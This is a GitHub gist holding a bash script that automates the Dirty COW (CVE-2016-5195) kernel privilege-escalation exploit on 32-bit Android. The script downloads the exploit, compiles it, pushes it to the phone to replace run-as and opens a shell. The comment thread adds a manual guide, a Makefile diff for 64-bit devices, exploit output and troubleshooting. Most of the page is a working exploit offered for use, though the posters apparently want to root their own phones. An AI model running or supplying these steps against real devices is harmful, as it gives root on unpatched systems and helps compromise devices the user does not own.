Create a gist now

Instantly share code, notes, and snippets.

"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)
#!/bin/bash
# Give the usual warning.
clear;
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
clear;
# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";
workspacezip="dirtyc0w_workspace.zip";
workspace="dirtyc0w_workspace";
rm -f $workspacezip > /dev/null; # Remove zip if it exists
rm -rf $workspace > /dev/null; # Remove workspace if it exists
wget -O dirtyc0w_workspace.zip https://github.com/Arinerron/CVE-2016-5195/archive/master.zip > /dev/null 2>&1;
if [ -f $workspacezip ];
then
echo "[INFO] Extracting exploit files...";
unzip -a $workspacezip -d $workspace > /dev/null;
rm -f $workspacezip; # Remove zip if it exists
else
echo "[ERR] Failed to download exploit files.";
exit 1;
fi;
if [ -d $workspace ];
then
cd $workspace;
directory=$PWD; # thx @tomdeboer!
cd CVE-2016-5195-master;
else
echo "[ERR] Failed to extract exploit files.";
exit 1;
fi;
# Compile and send exploit.
echo "[INFO] Exploiting dirtyc0w vulnerability...";
sleep 1; # Let them read the message before chaos
make root;
clear;
# Hooray!
echo -n "[INFO] Complete. Installed package \"run-as\" on device.\n[INFO] Cleaning up workspace...";
rm -rf $directory; # Clean up workspace
echo "Done";
echo "[INFO] Starting shell in 3 seconds...";
sleep 3; # Look, it worked!
adb shell;
clear;
exit 0;
@Arinerron
Owner

I put 'root' in quotes, because technically, it isn't rooting. However, it creates a binary called 'run-as' that can execute packages as root.

@beardog108

Hey, Cool seeing you on front page of HN!

@Arinerron
Owner

@beardog108 I am? :P

@ntcong
ntcong commented Oct 27, 2016 edited

Well if you can execute as root, I'm pretty sure that qualified as rooting in this case.

@tomdeboer
tomdeboer commented Oct 27, 2016 edited

It'd be nice to have a little check after the download and unzip to see if it worked, otherwise your $PWD will be recursively removed

Edit: Done.

@Arinerron
Owner
Arinerron commented Oct 27, 2016 edited

@tomdeboer Haha, that's true. Revised the code.

@RenaKunisaki

Why does it download and execute a script from the web (and not even verify a hash!) instead of bundling the necessary files? (At least it uses HTTPS...)

@Arinerron
Owner

@RenaKunisaki Right, I'll do that when I have time. Thanks.

@blizzard4591

It does not work on my Stock Samsung Galaxy S5 (Android 6.0.1/Patchlevel September 1-2016/Kernel3.4.0-8538464).

[] mmap 0xb6d7b000
[
] exploit (patch)
[] currently 0xb6d7b000=464c457f
[
] madvise = 0xb6d7b000 17920
[] madvise = 0 1048576
[
] /proc/self/mem 1610612736 1048576
[*] exploited 0xb6d7b000=464c457f
/home/myUser/Android/Sdk/platform-tools/adb shell /system/bin/run-as
running as uid 2000
Could not set capabilities: Operation not permitted
setresgid/setresuid failed
uid 2000
Any ideas?

@Arinerron
Owner
Arinerron commented Oct 27, 2016 edited

@blizzard4591 Hey. You're not the only one with that problem actually. The reason why it doesn't work is (probably) because your phone has a 64-bit CPU. I haven't worked on a 64-bit version yet, but in the makefile, you can change a setting in the makefile so it compiles for 64-bit architecture.

Edit: Here's an issue you might want to see: timwr/CVE-2016-5195#7

@MF064DD
MF064DD commented Oct 27, 2016 edited
[INFO] Downloading exploit files from GitHub...
[ERR] Failed to download exploit files.

Is there something I'm doing wrong here?

@Arinerron
Owner
Arinerron commented Oct 27, 2016 edited

@MF064DD Is there an error when you run:

wget -O dirtyc0w_workspace.zip https://github.com/Arinerron/CVE-2016-5195/archive/master.zip;

?

Edit: Oh, nevermind. Apparently wget doesn't accept variables in the parameters. I updated the script. Sorry for the inconvenience!

@SpyKnife

Still the same error: Failed to download exploit files

@MF064DD
MF064DD commented Oct 27, 2016

Still the same error: Failed to download exploit files

Exactly what he said. :p

Maybe I'm doing it wrong. I installed the necessary sdk modules and such.

Here's a visual.
https://streamable.com/h2qb

@SpyKnife

when i try just to execute the wget command i get this error:
Connecting to www.github.com (192.30.253.112:443) wget: can't execute 'ssl_helper': No such file or directory
wget: error getting response: Connection reset by peer

@Arinerron
Owner
Arinerron commented Oct 27, 2016 edited

@MF064DD @SpyKnife Okay, sorry guys. The problem is that wget and unzip commands aren't being used properly. I can't fix it on my phone, because the editor isn't working. I won't have computer access till tonight (it's noon here, and I'm at school). Really sorry about the delay! I'll @mention you when it is fixed.

@MF064DD
MF064DD commented Oct 27, 2016 edited

No problem man! Hey, you gotta life. I can wait as long as you need us to. ^^

@Arinerron
Owner
Arinerron commented Oct 28, 2016 edited

@MF064DD @SpyKnife Okay, weird thing. I'm on my computer now, and I can execute the script fine. I think the reason why it works on my computer and not my laptop is because of the version of wget and/or unzip. Specifically, wget seems to not have SSL support on certain versions (probably yours too).

I'm not sure as of now how I can download files off the internet via bash without using 3rd parties (like curl). Here's a manual guide though:

Root Android 32-bit / Guide

Prerequisites

  • Linux machine with
    • adb
    • android-ndk
    • gcc
  • 32-bit Android device plugged in to computer

Steps

  1. Download the exploit from here.
  2. Extract the zip file
  3. Enter the extracted zip's directory in Terminal
  4. Run the following command:
make root && adb shell;

And tada! The run-as binary has been installed on your android system.

@Arinerron
Owner

@blizzard4591 Here's a quote from the issue:

The device has a 64-bit architecture, so we need to use the arm64-v8a variant of the compiled binaries.

[This is how I modified the file]

diff --git a/Makefile b/Makefile
index 19e09b8..1dd61c3 100644
--- a/Makefile
+++ b/Makefile
@@ -5,8 +5,8 @@ build:
    ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21

 push: build
-       adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
-       adb push libs/armeabi/run-as /data/local/tmp/run-as
+       adb push libs/arm64-v8a/dirtycow /data/local/tmp/dirtycow
+       adb push libs/arm64-v8a/run-as /data/local/tmp/run-as

 root: push
    adb shell 'chmod 777 /data/local/tmp/run-as'

A good way to get device's abi could be

$ adb shell 'getprop ro.product.cpu.abilist'
arm64-v8a,armeabi-v7a,armeabi
@RaPoZaUm

Total noob here: is it usable on a Exynos S7Edge (G935F)? If so, would it trip knox to 0x1 (I assume it won't, but asking to be sure)

@kirbyfan64

Man, those semicolons are driving me crazy. :O This is just an automation script for CVE repo, right?

@MF064DD
MF064DD commented Oct 28, 2016 edited

Cool, got that... now where do I go from here exactly? http://imgur.com/a/0rHeI

@Arinerron

@cmwedin
cmwedin commented Oct 28, 2016

i got run-as on, my phone, but if i try to do anything with it i get permission denied. Has anyone been able to run things as root with this? My phone doesn't have a way to unlock the bootloader, could that have something to do with it?

@PVineeth

Is this only for 32-bit Android phones?

@Arinerron
Owner

Heh, here we go.

@RaPoZaUm Probably would work, but I haven't tested it.
@kirbyfan64 Yup
@MF064DD It should have installed a binary called run-as. You can open a terminal emulator on your phone and run stuff like run-as echo "pwned" > root_only_file.txt and write to it as root.
@cmwedin Sorry it isn't working. It might be that the binary is built for a 32-bit arch and your phone is 64. You can configure that. See my comment above. If it doesn't work, please report it here: https://github.com/timwr/CVE-2016-5195/issues Thanks!
@PVineeth The script is only built for 32-bit phones right now. You can exploit 64-bit phones though, too. See my comment above for more info.

@mauricioprado00
mauricioprado00 commented Oct 30, 2016 edited

Anyone has any idea what to use on the argument of run-as ?

1|shell@peregrine:/ $ run-as                                                   
Usage: run-as <package-name> <command> [<args>]

edit: I found what goes on package-name, this will give you a list of options

pm list packages -f

but... it doesn't work, example:

1|shell@peregrine:/ $ run-as com.google.android.apps.photos ls                 
run-as: Package 'com.google.android.apps.photos' is not debuggable

@cmwedin
cmwedin commented Oct 30, 2016 edited

@Arinerron my phone is 32 bit :/

@MrMino
MrMino commented Nov 10, 2016

It won't work anyway. The exploit in question can't run anything out of it's normal context, because SE for Android will catch it (darn you SELinux, ruining my dreams constantly since 1998), and the child/fork will run with standard UID. I tried to run sh with system() and execp(), I tried to chown() it to root:root, and SUID/GUID it with chmod(). Nothing works. I think that editing an existing binary with SUID toggled might work, but I didn't tried it - too much hassle for me, and generating a custom payload to do this is a bitch of a task, for someone who doesn't know the architecture.

@tinxx
tinxx commented Nov 11, 2016

Have you taken into account that run-as is meant to give you different privileges and therefore would work within it's threshold (SE-wise)?
I think it still could work with the correct run-as binary, not yet tested myself, though.

@garikay
garikay commented Dec 13, 2016

Arinerron please do (automation script) to 64 bit. I tried to modify the way you showed it but I could not get ...I have a backup TA partition for my Sony XA Ultra make via dirtyc0w escalation exploit. Now I need to exploit to root but I did not get, please help me

@Pcmster
Pcmster commented Dec 31, 2016

Hello, sorry if I'm not an expert, but when I execut "run-as" it shows:
running as uid 2000
uid 0
When I type " ls /data/app " it says Permission denied, what I need to do?

@Buranek
Buranek commented Jan 1, 2017 edited

Will this work on Doogee X9 Pro or I will brick my device with this? Will this script install SuperSU or I must manually download it?

@Arinerron
Owner

@PVineeth @MrMino @tinxx @garikay @Pcmster @Buranek

If you're tech-savvy (I assume you are since you are using GitHub), I made a more "hands on" tutorial here. :)

@MF064DD Sorry for the late response. Type adb shell, then run-as. You now are root on your phone.

Good luck! If that doesn't work, feel free to @mention me and I'll see if I can help.

@Rasmis
Rasmis commented Jan 10, 2017

I'm trying to use this to root a B&O Horizon running Android 5.1.1, and it doesn't seem to work. When I do run-as in adb shell I get this:

1|shell@bno_MT5593Uplus_EU:/ $ run-as
Usage: run-as <package-name> <command> [<args>]

If I try to run any package with run-as, it says run-as: Package '[ ]' is not debuggable. I've tried own packages, already installed packages, official and unofficial packages.

Any thoughts @Arinerron ?

@m4hmoud
m4hmoud commented Jan 19, 2017 edited

I tried using this on LG G3 (with armeabi-v7a version), but I get this error:

could not open /system/bin/run-as

And run-as command gives me this:

run-as: can't execute: Permission denied

Anybody has any suggestions?

@Melab
Melab commented Jan 29, 2017

@Arinerron Is there anyway to do this WITHOUT modifying files on the system partition? I mean, if you can use this exploit to replace /system/bin/run-as, then surely you can use it to do things that you'd use the new /system/bin/run-as to do, right?

@Deepak157

nice

@droidvoider

@Arinerron setresgid/setresuid failed on my Note 5 arm64-v8a .. I don't really know where to begin to fix that but if I could get some elevation I could have some real fun. I am a programmer, just not an Android wizard.

@thaomvs
thaomvs commented Mar 9, 2017

Hi @Arinerron,
I installed the run-as successfully. However, it still does not allow to write the file.

shell@P1a42:/ # echo "pwned" > root_only_file.txt
/system/bin/sh: can't create root_only_file.txt: Read-only file system

Is there any extra steps to take it work?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment